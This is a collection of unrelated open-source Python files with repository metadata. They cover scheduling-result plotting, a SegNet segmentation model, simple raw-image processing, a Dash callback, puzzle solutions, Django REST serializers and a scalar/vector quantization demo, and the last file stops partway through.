'\\n')\n","repo_name":"adamlesinf/plannerPY","sub_path":"apkcsv/moduly.py","file_name":"moduly.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"28412364197","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nf = open(\"result.txt\",\"r\")\n\nALGO_NUM = 4\nSERVICE_NUM = 1\nMU_NUM = 1\nSTD_NUM = 1\nDATA_NUM = 1000\nSERVICE_RANGE = 4\n\nALGO_LABEL = [\"HEFT\",\"CPOP\",\"PEFT\",\"DHS\"]\n\nresult_x = [[] for _ in range(SERVICE_RANGE)]\nresult_y = [[] for _ in range(SERVICE_RANGE)]\nresult_z = [[] for _ in range(SERVICE_RANGE)]\n\nfor i in range(ALGO_NUM):\n for j in range(SERVICE_NUM):\n for s in range(STD_NUM):\n lst = [[] for _ in range(SERVICE_RANGE)]\n ans = []\n for k in range(DATA_NUM):\n arr = np.array(f.readline().split(),dtype=np.float32)\n s = arr.std()\n m = arr.mean()\n n = int(f.readline())\n #print(arr)\n lst[n-3].append([m,s,float(f.readline())])\n #ans += float(f.readline())\n #print(lst)\n for r in range(SERVICE_RANGE):\n #lst[i].sort()\n lst[r] = np.array(lst[r])\n x = lst[r][:,0]\n y = lst[r][:,1]\n z = lst[r][:,2]\n result_x[r].append(x)\n result_y[r].append(y)\n result_z[r].append(z)\n ans.append(sum(z)/len(z))\n print(sum(ans)/len(ans))\n print(j,\"---------\")\n print(i,\"***********************\")\n\nf.close()\n\nfig = plt.figure(figsize=(9,6))\nax = fig.add_subplot(111,projection='3d')\nax.scatter(result_x[0][0],result_y[0][0],result_z[0][0])\n\nplt.xlabel('mean')\nplt.ylabel('std')\nplt.show()\n\n\"\"\"\nfor i in range(SERVICE_RANGE):\n for j in range(ALGO_NUM):\n fit_l = np.polyfit(result[i][j][0],result[i][j][1],1)\n fit_x = np.array([min(result[i][j][0]),max(result[i][j][0])])\n fit_y = fit_l[0]*fit_x + fit_l[1]\n plt.scatter(result[i][j][0],result[i][j][1],s=20, label=ALGO_LABEL[j])\n plt.plot(fit_x,fit_y)\n plt.legend()\n plt.xlabel(\"mean\")\n plt.ylabel(i)\n plt.show()\n\n plt.hist(result[i][0][0],bins=10,alpha=0.5, histtype=\"step\", label=\"HEFT\")\n plt.hist(result[i][1][0],bins=10,alpha=0.5, histtype=\"step\", label=\"CPOP\")\n plt.hist(result[i][2][0],bins=10,alpha=0.5, histtype=\"step\", label=\"PEFT\")\n plt.hist(result[i][3][0],bins=10,alpha=0.5, histtype=\"step\", label=\"DHS\")\n plt.legend()\n plt.xlabel(\"mean\")\n plt.show()\n\n plt.hist(result[i][0][1],bins=10,alpha=0.5, histtype=\"step\", label=\"HEFT\")\n plt.hist(result[i][1][1],bins=10,alpha=0.5, histtype=\"step\", label=\"CPOP\")\n plt.hist(result[i][2][1],bins=10,alpha=0.5, histtype=\"step\", label=\"PEFT\")\n plt.hist(result[i][3][1],bins=10,alpha=0.5, histtype=\"step\", label=\"DHS\")\n plt.legend()\n plt.xlabel(\"time\")\n plt.show()\n\n plt.scatter(result[i][0][0], result[i][0][1], label=\"HEFT\")\n plt.scatter(result[i][1][0], result[i][1][1], label=\"CPOP\")\n plt.scatter(result[i][2][0], result[i][2][1], label=\"PEFT\")\n plt.scatter(result[i][3][0], result[i][3][1], label=\"DHS\")\n plt.legend()\n plt.xlabel(\"mean\")\n plt.show()\n\"\"\"","repo_name":"tat1218/MDS-sw","sub_path":"data_extractor.py","file_name":"data_extractor.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"15859855706","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch.autograd import Variable\r\n\r\nimport pytorch_lightning as pl\r\nimport os\r\nfrom LightningFunc.step import *\r\nfrom LightningFunc.accuracy import *\r\nfrom LightningFunc.optimizer import *\r\nfrom LightningFunc.utils import *\r\nfrom LightningFunc.losses import configure_loss\r\n\r\nfrom torchvision import models\r\n\r\ndef initialize_weights(*models):\r\n for model in models:\r\n for module in model.modules():\r\n if isinstance(module, nn.Conv2d) or isinstance(module, nn.Linear):\r\n nn.init.kaiming_normal(module.weight)\r\n if module.bias is not None:\r\n module.bias.data.zero_()\r\n elif isinstance(module, nn.BatchNorm2d):\r\n module.weight.data.fill_(1)\r\n module.bias.data.zero_()\r\n\r\nclass _DecoderBlock(nn.Module):\r\n def __init__(self, in_channels, out_channels, num_conv_layers):\r\n super(_DecoderBlock, self).__init__()\r\n middle_channels = int(in_channels / 2)\r\n layers = [\r\n nn.ConvTranspose2d(in_channels, in_channels, kernel_size=2, stride=2),\r\n nn.Conv2d(in_channels, middle_channels, kernel_size=3, padding=1),\r\n nn.BatchNorm2d(middle_channels),\r\n nn.ReLU(inplace=True)\r\n ]\r\n layers += [\r\n nn.Conv2d(middle_channels, middle_channels, kernel_size=3, padding=1),\r\n nn.BatchNorm2d(middle_channels),\r\n nn.ReLU(inplace=True),\r\n ] * (num_conv_layers - 2)\r\n layers += [\r\n nn.Conv2d(middle_channels, out_channels, kernel_size=3, padding=1),\r\n nn.BatchNorm2d(out_channels),\r\n nn.ReLU(inplace=True),\r\n ]\r\n self.decode = nn.Sequential(*layers)\r\n\r\n def forward(self, x):\r\n return self.decode(x)\r\n\r\n\r\nclass SegNet(pl.LightningModule):\r\n def __init__(self, num_classes, args):\r\n super(SegNet, self).__init__()\r\n self.num_classes = num_classes\r\n self.__build_model()\r\n self.__build_func(SegNet) \r\n self.args = args \r\n self.criterion = configure_loss(self.args.criterion) \r\n\r\n self.checkname = self.backbone\r\n self.dir = os.path.join(\"log_dir\", self.args.data_module ,self.checkname) \r\n self.confusion_matrix = np.zeros((self.num_classes,) * 2)\r\n self.sample = (8, 3, 512, 256)\r\n self.sampleImg=torch.rand((1,3, 512, 256)).cuda()\r\n\r\n def __build_model(self):\r\n vgg = models.vgg19_bn(pretrained=True)\r\n # if pretrained:\r\n # vgg.load_state_dict(torch.load(vgg19_bn_path))\r\n features = list(vgg.features.children())\r\n self.enc1 = nn.Sequential(*features[0:7])\r\n self.enc2 = nn.Sequential(*features[7:14])\r\n self.enc3 = nn.Sequential(*features[14:27])\r\n self.enc4 = nn.Sequential(*features[27:40])\r\n self.enc5 = nn.Sequential(*features[40:])\r\n\r\n self.dec5 = nn.Sequential(\r\n *([nn.ConvTranspose2d(512, 512, kernel_size=2, stride=2)] +\r\n [nn.Conv2d(512, 512, kernel_size=3, padding=1),\r\n nn.BatchNorm2d(512),\r\n nn.ReLU(inplace=True)] * 4)\r\n )\r\n self.dec4 = _DecoderBlock(1024, 256, 4)\r\n self.dec3 = _DecoderBlock(512, 128, 4)\r\n self.dec2 = _DecoderBlock(256, 64, 2)\r\n self.dec1 = _DecoderBlock(128, self.num_classes, 2)\r\n initialize_weights(self.dec5, self.dec4, self.dec3, self.dec2, self.dec1)\r\n\r\n def __build_func(self, obj):\r\n \"\"\"Define model layers & loss.\"\"\"\r\n\r\n self.backbone = \"SegNet\"\r\n setattr(obj, \"training_step\", training_step)\r\n setattr(obj, \"training_epoch_end\", training_epoch_end)\r\n setattr(obj, \"validation_step\", validation_step)\r\n setattr(obj, \"validation_epoch_end\", validation_epoch_end)\r\n setattr(obj, \"test_step\", test_step)\r\n setattr(obj, \"test_epoch_end\", test_epoch_end)\r\n setattr(obj, \"configure_optimizers\", configure_optimizers)\r\n setattr(obj, \"prepare_matrix\", prepare_matrix) \r\n setattr(obj, \"generate_matrix\", generate_matrix) \r\n setattr(obj, \"saveDetail\", saveDetail) \r\n setattr(obj, \"generate_score\", generate_score)\r\n setattr(obj, \"write_Best_model_path\", write_Best_model_path)\r\n setattr(obj, \"read_Best_model_path\", read_Best_model_path) \r\n\r\n def forward(self, x):\r\n enc1 = self.enc1(x)\r\n enc2 = self.enc2(enc1)\r\n enc3 = self.enc3(enc2)\r\n enc4 = self.enc4(enc3)\r\n enc5 = self.enc5(enc4)\r\n\r\n dec5 = self.dec5(enc5)\r\n dec4 = self.dec4(torch.cat([enc4, dec5], 1))\r\n dec3 = self.dec3(torch.cat([enc3, dec4], 1))\r\n dec2 = self.dec2(torch.cat([enc2, dec3], 1))\r\n dec1 = self.dec1(torch.cat([enc1, dec2], 1))\r\n return dec1\r\nif __name__ == '__main__': \r\n # net = \\\r\n # {\r\n # \"model\":\"smallunet\",\r\n # \"drop_rate\":0.3,\r\n # \"bn_momentum\": 0.1 \r\n # }\r\n # input = \\\r\n # {\r\n # \"data_type\": \"float32\",\r\n # \"matrix_size\": [160,160],\r\n # \"resolution\": \"0.15x0.15\",\r\n # \"orientation\": \"RAI\"\r\n # }\r\n\r\n # net = SegNet(nb_input_channels=3, n_classes=1,\r\n # mean=0, std=0,\r\n # orientation= \"RAI\",\r\n # resolution= \"0.15x0.15\" ,\r\n # matrix_size= [160,160],\r\n # drop_rate= 0.3,\r\n # bn_momentum= 0.1)\r\n net = SegNet(num_class = 21)\r\n print(net)","repo_name":"Leyan529/ImageSegmentationPL","sub_path":"model/SegNet.py","file_name":"SegNet.py","file_ext":"py","file_size_in_byte":5568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"12324022958","text":"import copy\nimport math\n\n\n# common function\ndef malloc2d(h, w):\n memory = []\n for i in range(h):\n tmp = []\n for k in range(w):\n tmp.append(0)\n memory.append(tmp)\n return memory\n\n\ndef loadImage(fname: str):\n global image, height, width, filename\n rawFp = open(fname, \"rb\")\n fsize = 262144\n height = width = int(math.sqrt(fsize))\n image = malloc2d(height, width)\n\n for i in range(height):\n for k in range(width):\n pixel = ord(rawFp.read(1))\n image[i][k] = pixel\n rawFp.close()\n\n\ndef displayImage(string, tmp):\n global image, height, width, filename\n print(\"--\", string, \"--\")\n for i in range(5):\n for k in range(5):\n print(\"%3d\" % tmp[i + 50][k + 50], end=' ')\n print()\n print()\n\n\n# image processing function\ndef calcImage(val: int):\n global image, height, width, filename\n tmp = malloc2d(height, width)\n for i in range(height):\n for k in range(width):\n tmp[i][k] = max(0, min(255, image[i][k] + val))\n return tmp\n\n\ndef reverseImage():\n global image, height, width, filename\n tmp = malloc2d(height, width)\n for i in range(height):\n for k in range(width):\n tmp[i][k] = 255 - image[i][k]\n return tmp\n\n\ndef bw127Image():\n global image, height, width, filename\n tmp = malloc2d(height, width)\n for i in range(height):\n for k in range(width):\n tmp[i][k] = 0 if image[i][k] < 127 else 255\n return tmp\n\n\ndef bwAvgImage():\n global image, height, width, filename\n tmp = malloc2d(height, width)\n avg = 0\n for i in range(height):\n for k in range(width):\n avg += image[i][k]\n avg //= (height * width)\n print(\"평균값->\", avg)\n for i in range(height):\n for k in range(width):\n tmp[i][k] = 0 if image[i][k] < avg else 255\n return tmp\n\n\ndef bwCenterImage():\n global image, height, width, filename\n tmp1 = copy.deepcopy(image)\n tmp1.sort()\n tmp = malloc2d(height, width)\n center = tmp1[height // 2][width // 2]\n print(\"중위값->\", center)\n for i in range(height):\n for k in range(width):\n tmp[i][k] = 0 if image[i][k] < center else 255\n return tmp\n\n\n\ndef mirrorLeftRight():\n global image, height, width, filename\n tmp = malloc2d(height, width)\n for i in range(height):\n for k in range(width):\n tmp[i][k] = image[i][width - k - 1]\n return tmp\n\n\ndef mirrorTopBottom():\n global image, height, width, filename\n tmp = malloc2d(height, width)\n for i in range(height):\n for k in range(width):\n tmp[i][k] = image[height - i - 1][k]\n return tmp\n\n\n# global var\nimage = []\nheight, width = 512, 512\nfilename = \"../images/Etc_Raw(squre)/flower512.raw\"\n\n# main\nloadImage(filename)\ndisplayImage(\"원본이미지\", image)\n\n# add\naddImage = calcImage(50)\ndisplayImage(\"밝게한이미지\", addImage)\n\n# sub\nsubImage = calcImage(-50)\ndisplayImage(\"어둡게한이미지\", subImage)\n\n# reverse\nreverse = reverseImage()\ndisplayImage(\"반전이미지\", reverse)\n\n# bw127\nbw127 = bw127Image()\ndisplayImage(\"흑백127\", bw127)\n\n# bw avg\nbwAvg = bwAvgImage()\ndisplayImage(\"흑백평균\", bwAvg)\n\n# bw (중앙값==중위수)\n# 과제 제출\nbwCenter = bwCenterImage()\ndisplayImage(\"흑백중위값\", bwCenter)\n\n# mirror LR\nlrImage = mirrorLeftRight()\ndisplayImage(\"좌우반전이미지\", lrImage)\n\n# mirror TB\ntbImage = mirrorTopBottom()\ndisplayImage(\"상하반전이미지\", tbImage)\n","repo_name":"djzwns/single-bungle-hwagok-imageprocessing","sub_path":"practice code/Quiz02-03 Digital Image Processing ver 0.02.py","file_name":"Quiz02-03 Digital Image Processing ver 0.02.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"26912810154","text":"from dash.dependencies import Input, Output, State\n\n\nclass daaCallbacksClass:\n def __init__(self, app):\n @app.callback(\n Output(\"modalDAA\", \"is_open\"),\n [Input(\"openInfoDAA\", \"n_clicks\"), Input(\"closeInfoDAA\", \"n_clicks\")],\n [State(\"modalDAA\", \"is_open\")],\n )\n def toggle_modal(n1, n2, is_open):\n if n1 or n2:\n return not is_open\n return is_open\n","repo_name":"DeFi-Analytics/DeFi-Analytics","sub_path":"dashboard/blockchain/daa/daaCallbacks.py","file_name":"daaCallbacks.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"2"} +{"seq_id":"12990682872","text":"class Solution(object):\n def calculateMinimumHP(self, dungeon):\n \"\"\"\n :type dungeon: List[List[int]]\n :rtype: int\n \"\"\"\n n = len(dungeon[0])\n need = [2**31] * (n-1) + [1]\n for row in dungeon[::-1]:\n for i in range(n)[::-1]:\n need[i] = max(min(need[i:i+2]) - row[i], 1)\n return need[0]\n","repo_name":"qiqimaochiyu/tutorial-python","sub_path":"leetcode/leetcode_174.py","file_name":"leetcode_174.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"24504315969","text":"with open('day_05_input.txt') as f:\n data_lines = [data.strip() for data in f.readlines()]\n len_data = len(data_lines)\n master_list = []\n for i in range(1000):\n master_list.append([0]*1000)\n\ndef display_lines(lines):\n for line in lines:\n print(line)\n\ndef display_master_list():\n for lst in master_list:\n print(\"\")\n for column in lst:\n print(column),\n\ndef solution_prob_01():\n ctr = 0\n line_vals = []\n for data in data_lines:\n temp = data.split(\" -> \")\n x1,y1 = [int(val) for val in temp[0].split(\",\")]\n x2,y2 = [int(val) for val in temp[1].split(\",\")]\n if x1 == x2 or y1 == y2:\n line_vals.append([(x1,y1),(x2,y2)])\n for x in range(min(x1,x2),max(x1,x2)+1):\n for y in range(min(y1,y2),max(y1,y2)+1):\n print(x,y)\n master_list[y][x] += 1\n if master_list[y][x] == 2:\n ctr += 1\n #display_lines(line_vals)\n #display_master_list()\n print(\"\\n\\nOUTPUT : \" + str(ctr))\n\ndef solution_prob_02():\n ctr = 0\n line_vals = []\n for data in data_lines:\n temp = data.split(\" -> \")\n x1,y1 = [int(val) for val in temp[0].split(\",\")]\n x2,y2 = [int(val) for val in temp[1].split(\",\")]\n if x1 == x2 or y1 == y2:\n line_vals.append([(x1,y1),(x2,y2)])\n for x in range(min(x1,x2),max(x1,x2)+1):\n for y in range(min(y1,y2),max(y1,y2)+1):\n #print(x,y)\n master_list[y][x] += 1\n if master_list[y][x] == 2:\n ctr += 1\n #display_master_list()\n print(\"STRAIGHT : \" + str(ctr))\n elif abs(x1 - x2) == abs(y1 - y2):\n line_vals.append([(x1,y1),(x2,y2)])\n x = x1\n y = y1\n for _ in range(min(x1,x2),max(x1,x2)+1):\n #print(x,y)\n master_list[y][x] += 1\n if master_list[y][x] == 2:\n ctr += 1\n if x1 > x2: x = x - 1\n else: x = x + 1\n if y1 > y2: y = y - 1\n else: y = y + 1\n \n #display_master_list()\n print(\"DIAGONAL : \" + str(ctr))\n\n #display_lines(line_vals)\n #display_master_list()\n print(\"\\n\\nOUTPUT : \" + str(ctr))\n\n#solution_prob_01()\nsolution_prob_02()","repo_name":"vivek4svan/adventofcode2021","sub_path":"day_05.py","file_name":"day_05.py","file_ext":"py","file_size_in_byte":2428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"70395225008","text":"from rest_framework import serializers, validators\nfrom rest_framework.relations import SlugRelatedField\n\nfrom posts.models import Comment, Post, Group, Follow, User\n\n\nclass PostSerializer(serializers.ModelSerializer):\n author = SlugRelatedField(slug_field='username', read_only=True)\n\n class Meta:\n fields = '__all__'\n model = Post\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n author = serializers.SlugRelatedField(\n read_only=True, slug_field='username'\n )\n\n class Meta:\n fields = '__all__'\n model = Comment\n read_only_fields = ('post',)\n\n\nclass GroupSerializer(serializers.ModelSerializer):\n\n class Meta:\n fields = ('id', 'title', 'slug', 'description',)\n model = Group\n\n\nclass FollowSerializer(serializers.ModelSerializer):\n user = serializers.SlugRelatedField(\n default=serializers.CurrentUserDefault(),\n queryset=User.objects.all(),\n slug_field='username'\n )\n following = serializers.SlugRelatedField(\n queryset=User.objects.all(),\n slug_field='username'\n )\n\n class Meta:\n fields = ('user', 'following')\n model = Follow\n validators = [\n validators.UniqueTogetherValidator(\n queryset=Follow.objects.all(),\n fields=('user', 'following')\n )\n ]\n\n def validate_following(self, data):\n if self.context['request'].user == data:\n raise serializers.ValidationError(\n \"Невозможно оформить подписку на себя!\"\n )\n return data\n","repo_name":"mutsolgov/api_final_yatube","sub_path":"yatube_api/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"19178578564","text":"# -*- coding: utf-8 -*-\n__author__ = 'Chongmyung Park (chongmyung.park@gmail.com)'\n\nfrom pyticas.tool import distance as distutil\n\ndef accumulated_distances(stations):\n miles = 0.0\n prevRn = None\n mile_points_map = {}\n mile_points_keys = {}\n for rnode in stations:\n if prevRn != None:\n m = distutil.distance_in_mile(prevRn, rnode)\n miles += m\n while str(miles) in mile_points_keys:\n miles += 0.0000001\n mile_points_map[rnode.station_id] = round(miles, 1)\n mile_points_keys[str(miles)] = rnode\n prevRn = rnode\n return mile_points_map","repo_name":"mnit-rtmc/tetres","sub_path":"Server/src/pyticas_ncrtes/core/est/report/distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"25231533347","text":"import sys\nimport os\ndemo_dir_fullpath = os.path.dirname(os.path.abspath(__file__))\ntoplevel_dir_fullpath = demo_dir_fullpath[:demo_dir_fullpath.rfind('/')+1]\nsys.path.insert(0, toplevel_dir_fullpath)\n\nimport time\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom null_uniform import compute_quantization as uni\nfrom generalized_lloyd_LBG import compute_quantization as gl\nfrom optimal_generalized_lloyd_LBG import compute_quantization as opt_gl\n\nfrom utils.plotting import plot_1d_and_2d_assignments\n\ndef main():\n\n #############################################################################\n # first we'll visualize different solutions found uniform scalar quantization\n # as well as by the 4 variants of Lloyd that all have similar rates\n #############################################################################\n random_laplacian_samps = np.random.laplace(scale=10, size=(50000, 2))\n dummy_data = np.copy(random_laplacian_samps)\n dummy_data[:, 1] = (np.abs(random_laplacian_samps[:, 0]) +\n random_laplacian_samps[:, 1])\n\n ############################################################\n # Uniform scalar quantization of each coefficient separately\n BINWIDTH_COMPONENT_0 = 11.\n BINWIDTH_COMPONENT_1 = 11.\n\n starttime = time.time()\n uni_apts_s0, uni_assignments_s0, uni_MSE_s0, uni_rate_s0 = uni(\n dummy_data[:, 0], BINWIDTH_COMPONENT_0, placement_scheme='on_mode')\n uni_apts_s1, uni_assignments_s1, uni_MSE_s1, uni_rate_s1 = uni(\n dummy_data[:, 1], BINWIDTH_COMPONENT_1, placement_scheme='on_mode')\n print(\"Time to compute uniform scalar quantizations:\",\n time.time() - starttime)\n\n uni_fig_s0 = plot_1d_and_2d_assignments(\n uni_apts_s0, dummy_data[:, 0], uni_assignments_s0, 'uniform_scalar',\n 100, title='Uniform scalar quantization, component 0')\n uni_fig_s1 = plot_1d_and_2d_assignments(\n uni_apts_s1, dummy_data[:, 1], uni_assignments_s1, 'uniform_scalar',\n 100, title='Uniform scalar quantization, component 1')\n print('The rate for the uniform scalar quantizer is',\n (uni_rate_s0 + uni_rate_s1) / 2, 'bits per component')\n print('The MSE for the uniform scalar quantizer is',\n (uni_MSE_s0 + uni_MSE_s1) / 2, 'luminace units per component')\n print('===========================')\n\n def get_init_assignments_for_lloyd(data, the_binwidths):\n # Lloyd can run into trouble if the most extreme assignment points are\n # larger in magnitude than the most extreme datapoints, which can happen\n # with the uniform quantization, so we just get rid of those initial points.\n assgnmnts, _, _, _ = uni(data, the_binwidths, placement_scheme='on_mode')\n min_data = np.min(data, axis=0)\n max_data = np.max(data, axis=0)\n if data.ndim == 1:\n assgnmnts = np.delete(assgnmnts, np.where(assgnmnts < 0.9*min_data))\n assgnmnts = np.delete(assgnmnts, np.where(assgnmnts > 0.9*max_data))\n return assgnmnts\n else:\n assgnmnts = np.delete(assgnmnts,\n np.where(assgnmnts[:, 0] < 0.9*min_data[0]), axis=0)\n assgnmnts = np.delete(assgnmnts,\n np.where(assgnmnts[:, 0] > 0.9*max_data[0]), axis=0)\n assgnmnts = np.delete(assgnmnts,\n np.where(assgnmnts[:, 1] < 0.9*min_data[1]), axis=0)\n assgnmnts = np.delete(assgnmnts,\n np.where(assgnmnts[:, 1] > 0.9*max_data[1]), axis=0)\n return assgnmnts\n\n ##########################################################\n # Lloyd scalar quantization of each coefficient separately\n INIT_BW_C0 = 27 # we need way fewer in this case, bigger starting bins\n INIT_BW_C1 = 27\n starttime = time.time()\n init_assignments = get_init_assignments_for_lloyd(\n dummy_data[:, 0], INIT_BW_C0)\n gl_apts_s0, gl_assignments_s0, gl_MSE_s0, gl_rate_s0, _ = gl(\n dummy_data[:, 0], init_assignments)\n\n init_assignments = get_init_assignments_for_lloyd(\n dummy_data[:, 1], INIT_BW_C1)\n gl_apts_s1, gl_assignments_s1, gl_MSE_s1, gl_rate_s1, _ = gl(\n dummy_data[:, 1], init_assignments)\n print(\"Time to compute separate (suboptimal) scalar quantizations:\",\n time.time() - starttime)\n\n gl_fig_s0 = plot_1d_and_2d_assignments(\n gl_apts_s0, dummy_data[:, 0], gl_assignments_s0, 'lloyd_scalar',\n 100, title='Suboptimal Lloyd scalar quantization, component 0')\n gl_fig_s1 = plot_1d_and_2d_assignments(\n gl_apts_s1, dummy_data[:, 1], gl_assignments_s1, 'lloyd_scalar',\n 100, title='Suboptimal Lloyd scalar quantization, component 1')\n print('The rate for the suboptimal scalar Lloyd quantizer is',\n (gl_rate_s0 + gl_rate_s1) / 2, 'bits per component')\n print('The MSE for the suboptial scalar Lloyd quantizer is',\n (gl_MSE_s0 + gl_MSE_s1) / 2, 'luminace units per component')\n print('===========================')\n\n\n #############################################################################\n # we'll try Lloyd scalar quantization again but this time the optimal version\n INIT_BW_C0 = 20\n INIT_BW_C1 = 20\n #^ We'll give ourselves more clusters, but turn up the lambda and these will\n # be pruned down. After some trial and error these settings give us something\n # close to the rate of the non-optimal version\n starttime = time.time()\n init_assignments = get_init_assignments_for_lloyd(\n dummy_data[:, 0], INIT_BW_C0)\n init_cword_len = (-1. * np.log2(1. / len(init_assignments)) *\n np.ones((len(init_assignments),)))\n opt_gl_apts_s0, opt_gl_assignments_s0, opt_gl_MSE_s0, opt_gl_rate_s0, _ = \\\n opt_gl(dummy_data[:, 0], init_assignments,\n init_cword_len, lagrange_mult=0.6)\n\n init_assignments = get_init_assignments_for_lloyd(\n dummy_data[:, 1], INIT_BW_C1)\n init_cword_len = (-1. * np.log2(1. / len(init_assignments)) *\n np.ones((len(init_assignments),)))\n opt_gl_apts_s1, opt_gl_assignments_s1, opt_gl_MSE_s1, opt_gl_rate_s1, _ = \\\n opt_gl(dummy_data[:, 1], init_assignments,\n init_cword_len, lagrange_mult=0.6)\n print(\"Time to compute separate (optimal) scalar quantizations:\",\n time.time() - starttime)\n\n opt_gl_fig_s0 = plot_1d_and_2d_assignments(\n opt_gl_apts_s0, dummy_data[:, 0], opt_gl_assignments_s0,\n 'optimal_lloyd_scalar', 100,\n title='Optimal Lloyd scalar quantization, component 0')\n opt_gl_fig_s1 = plot_1d_and_2d_assignments(\n opt_gl_apts_s1, dummy_data[:, 1], opt_gl_assignments_s1,\n 'optimal_lloyd_scalar', 100,\n title='Optimal Lloyd scalar quantization, component 1')\n print('The rate for the optimal scalar Lloyd quantizer is',\n (opt_gl_rate_s0 + opt_gl_rate_s1) / 2, 'bits per component')\n print('The MSE for the optimal scalar Lloyd quantizer is',\n (opt_gl_MSE_s0 + opt_gl_MSE_s1) / 2, 'luminace units per component')\n print('===========================')\n\n\n # ##########################################\n # Now we can try Uniform VECTOR quantization\n BINWIDTHS = np.array([10., 10.])\n starttime = time.time()\n uni_2d_apts, uni_2d_assignments, uni_2d_MSE, uni_2d_rate = uni(\n dummy_data, BINWIDTHS, placement_scheme='on_mode')\n print(\"Time to compute uniform vector quantizations:\",\n time.time() - starttime)\n\n uni_2d_fig_s0 = plot_1d_and_2d_assignments(\n uni_2d_apts, dummy_data, uni_2d_assignments, 'uniform_vector',\n 100, title='Uniform vector quantization')\n print('The rate for the uniform vector quantizer is',\n uni_2d_rate / 2, 'bits per component')\n print('The MSE for the uniform vector quantizer is',\n uni_2d_MSE / 2, 'luminace units per component')\n print('===========================')\n\n\n ##########################################################################\n # Now we use the generalized Lloyd to do joint encoding of both components\n BINWIDTHS = np.array([29., 30.])\n starttime = time.time()\n init_assignments = get_init_assignments_for_lloyd(dummy_data, BINWIDTHS)\n gl_2d_apts, gl_2d_assignments, gl_2d_MSE, gl_2d_rate, _ = gl(\n dummy_data, init_assignments)\n print(\"Time to compute 2d (suboptimal) vector quantization:\",\n time.time() - starttime)\n\n gl_2d_fig = plot_1d_and_2d_assignments(\n gl_2d_apts, dummy_data, gl_2d_assignments,\n 'lloyd_vector', 100,\n title='Generalized (vector) Lloyd quantization')\n print('The rate for the suboptimal 2d Lloyd quantizer is',\n gl_2d_rate / 2, 'bits per component')\n print('The MSE for the suboptimal 2d Lloyd quantizer is',\n gl_2d_MSE / 2, 'luminace units per component')\n print('===========================')\n\n\n #######################################################\n # We can compare this to the optimal generalized Lloyd\n BINWIDTHS = np.array([23., 24.])\n starttime = time.time()\n init_assignments = get_init_assignments_for_lloyd(dummy_data, BINWIDTHS)\n init_cword_len = (-1. * np.log2(1. / len(init_assignments)) *\n np.ones((len(init_assignments),)))\n\n opt_gl_2d_apts, opt_gl_2d_assignments, opt_gl_2d_MSE, opt_gl_2d_rate, _ = \\\n opt_gl(dummy_data, init_assignments, init_cword_len, lagrange_mult=0.1)\n print(\"Time to compute 2d (optimal) vector quantization:\",\n time.time() - starttime)\n\n opt_gl_2d_fig = plot_1d_and_2d_assignments(\n opt_gl_2d_apts, dummy_data, opt_gl_2d_assignments,\n 'optimal_lloyd_vector', 100,\n title='Optimal generalized (vector) Lloyd quantization')\n print('The rate for the optimal 2d Lloyd quantizer is',\n opt_gl_2d_rate / 2, 'bits per component')\n print('The MSE for the optimal 2d Lloyd quantizer is',\n opt_gl_2d_MSE / 2, 'luminace units per component')\n\n plt.show()\n\n ##########################################################################\n # Okay, now let's sweep out some rate-distortion curves using this dataset\n ##########################################################################\n # uniform scalar first\n uni_rates = []\n uni_MSEs = []\n for binwidth in np.linspace(4, 32, 50):\n _, _, uni_MSE_s0, uni_rate_s0 = uni(\n dummy_data[:, 0], binwidth, placement_scheme='on_mode')\n _, _, uni_MSE_s1, uni_rate_s1 = uni(\n dummy_data[:, 1], binwidth, placement_scheme='on_mode')\n uni_rates.append((uni_rate_s0 + uni_rate_s1) / 2)\n uni_MSEs.append((uni_MSE_s0 + uni_MSE_s1) / 2)\n\n # for the Lloyd curves I'm going to start the initialization in exactly\n # the same places as the uniform so we can see the improvement that Optimal\n # Lloyd provides\n\n # suboptimal scalar Lloyd\n gl_rates = []\n gl_MSEs = []\n for binwidth in np.linspace(4, 32, 50):\n print('RD curve, suboptimal scalar lloyd, binwidth=', binwidth)\n init_assignments, _, _, _ = uni(\n dummy_data[:, 0], binwidth, placement_scheme='on_mode')\n _, _, gl_MSE_s0, gl_rate_s0, _ = gl(dummy_data[:, 0], init_assignments,\n force_const_num_assignment_pts=False)\n #^ make this correspond to optimal lloyd with lambda=0.0.\n init_assignments, _, _, _ = uni(\n dummy_data[:, 1], binwidth, placement_scheme='on_mode')\n _, _, gl_MSE_s1, gl_rate_s1, _ = gl(dummy_data[:, 1], init_assignments,\n force_const_num_assignment_pts=False)\n #^ make this correspond to optimal lloyd with lambda=0.0.\n gl_rates.append((gl_rate_s0 + gl_rate_s1) / 2)\n gl_MSEs.append((gl_MSE_s0 + gl_MSE_s1) / 2)\n\n # next optimal scalar Lloyd\n opt_gl_rates = []\n opt_gl_MSEs = []\n binwidth = 4\n for lagrange_w in np.linspace(0.0, 4.0, 50):\n print('RD curve, optimal scalar lloyd, lagrange mult=', lagrange_w)\n init_assignments, _, _, _ = uni(\n dummy_data[:, 0], binwidth, placement_scheme='on_mode')\n init_cword_len = (-1. * np.log2(1. / len(init_assignments)) *\n np.ones((len(init_assignments),)))\n _, _, opt_gl_MSE_s0, 